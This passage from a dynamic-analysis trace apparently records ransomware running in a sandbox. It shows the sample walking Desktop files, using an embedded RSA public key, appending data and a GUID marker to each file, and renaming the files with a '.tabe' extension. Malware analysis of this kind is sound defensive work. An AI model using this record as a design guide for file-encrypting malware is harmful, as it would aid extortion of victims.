"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2c_1.mp3.tabe")) returned 1 [0126.023] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73e7340, ftCreationTime.dwHighDateTime=0x1d5e779, ftLastAccessTime.dwLowDateTime=0x216df690, ftLastAccessTime.dwHighDateTime=0x1d5deb1, ftLastWriteTime.dwLowDateTime=0x216df690, ftLastWriteTime.dwHighDateTime=0x1d5deb1, nFileSizeHigh=0x0, nFileSizeLow=0x104b2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3KShRcF.ppt", cAlternateFileName="")) returned 1 [0126.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KShRcF.ppt") returned=".ppt" [0126.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KShRcF.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kshrcf.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.023] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=66738) returned 1 [0126.023] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.024] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1048c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.024] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.025] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x104b2, lpOverlapped=0x0) returned 1 [0126.026] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.026] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.026] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.026] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.027] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.027] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.027] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.027] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.027] SetLastError (dwErrCode=0x0) [0126.027] GetLastError () returned 0x0 [0126.028] SetLastError (dwErrCode=0x0) [0126.028] GetLastError () returned 0x0 [0126.028] SetLastError (dwErrCode=0x0) [0126.028] GetLastError () returned 0x0 [0126.028] SetLastError (dwErrCode=0x0) [0126.028] GetLastError () returned 0x0 [0126.028] SetLastError (dwErrCode=0x0) [0126.028] GetLastError () returned 0x0 [0126.028] SetLastError (dwErrCode=0x0) [0126.028] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.028] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.028] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.028] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.028] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.028] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3af7758 [0126.029] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x104b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.029] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.029] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.029] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.029] CloseHandle (hObject=0x618) returned 1 [0126.030] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KShRcF.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kshrcf.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3KShRcF.ppt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3kshrcf.ppt.tabe")) returned 1 [0126.032] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e13c60, ftCreationTime.dwHighDateTime=0x1d5d989, ftLastAccessTime.dwLowDateTime=0x5caca830, ftLastAccessTime.dwHighDateTime=0x1d5e804, ftLastWriteTime.dwLowDateTime=0x5caca830, ftLastWriteTime.dwHighDateTime=0x1d5e804, nFileSizeHigh=0x0, nFileSizeLow=0x18fd3, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3RojuHrbe-bfp0nbccK.gif", cAlternateFileName="3ROJUH~1.GIF")) returned 1 [0126.032] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3RojuHrbe-bfp0nbccK.gif") returned=".gif" [0126.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3RojuHrbe-bfp0nbccK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3rojuhrbe-bfp0nbcck.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.032] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=102355) returned 1 [0126.032] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.033] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18fad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.033] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.034] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x18fd3, lpOverlapped=0x0) returned 1 [0126.034] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.034] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.034] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.034] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.035] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.035] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.035] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.035] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.035] SetLastError (dwErrCode=0x0) [0126.035] GetLastError () returned 0x0 [0126.036] SetLastError (dwErrCode=0x0) [0126.036] GetLastError () returned 0x0 [0126.036] SetLastError (dwErrCode=0x0) [0126.036] GetLastError () returned 0x0 [0126.036] SetLastError (dwErrCode=0x0) [0126.036] GetLastError () returned 0x0 [0126.036] SetLastError (dwErrCode=0x0) [0126.036] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.036] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.036] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.036] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.036] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.036] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.037] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18fd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.037] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.037] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.037] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.037] CloseHandle (hObject=0x618) returned 1 [0126.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3RojuHrbe-bfp0nbccK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3rojuhrbe-bfp0nbcck.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3RojuHrbe-bfp0nbccK.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3rojuhrbe-bfp0nbcck.gif.tabe")) returned 1 [0126.040] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711c64e0, ftCreationTime.dwHighDateTime=0x1d5da76, ftLastAccessTime.dwLowDateTime=0xa5f31af0, ftLastAccessTime.dwHighDateTime=0x1d5deb4, ftLastWriteTime.dwLowDateTime=0xa5f31af0, ftLastWriteTime.dwHighDateTime=0x1d5deb4, nFileSizeHigh=0x0, nFileSizeLow=0x599d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4k-NhBHWCQsrB9HktG.ppt", cAlternateFileName="4K-NHB~1.PPT")) returned 1 [0126.040] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4k-NhBHWCQsrB9HktG.ppt") returned=".ppt" [0126.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4k-NhBHWCQsrB9HktG.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4k-nhbhwcqsrb9hktg.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.040] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=22941) returned 1 [0126.040] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.041] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5977, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.041] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.042] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x599d, lpOverlapped=0x0) returned 1 [0126.043] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.043] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.043] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.043] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.044] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.044] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.044] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.044] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.044] SetLastError (dwErrCode=0x0) [0126.044] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] GetLastError () returned 0x0 [0126.045] SetLastError (dwErrCode=0x0) [0126.045] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.045] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.045] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.045] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.045] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.045] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae3728 [0126.045] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x599d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.046] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.046] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.046] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.046] CloseHandle (hObject=0x618) returned 1 [0126.047] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4k-NhBHWCQsrB9HktG.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4k-nhbhwcqsrb9hktg.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4k-NhBHWCQsrB9HktG.ppt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4k-nhbhwcqsrb9hktg.ppt.tabe")) returned 1 [0126.048] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff0ee710, ftCreationTime.dwHighDateTime=0x1d5e006, ftLastAccessTime.dwLowDateTime=0x7876020, ftLastAccessTime.dwHighDateTime=0x1d5dc29, ftLastWriteTime.dwLowDateTime=0x7876020, ftLastWriteTime.dwHighDateTime=0x1d5dc29, nFileSizeHigh=0x0, nFileSizeLow=0x8985, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6 E2yImJTKh03Xs1.pptx", cAlternateFileName="6E2YIM~1.PPT")) returned 1 [0126.048] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6 E2yImJTKh03Xs1.pptx") returned=".pptx" [0126.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6 E2yImJTKh03Xs1.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6 e2yimjtkh03xs1.pptx"), 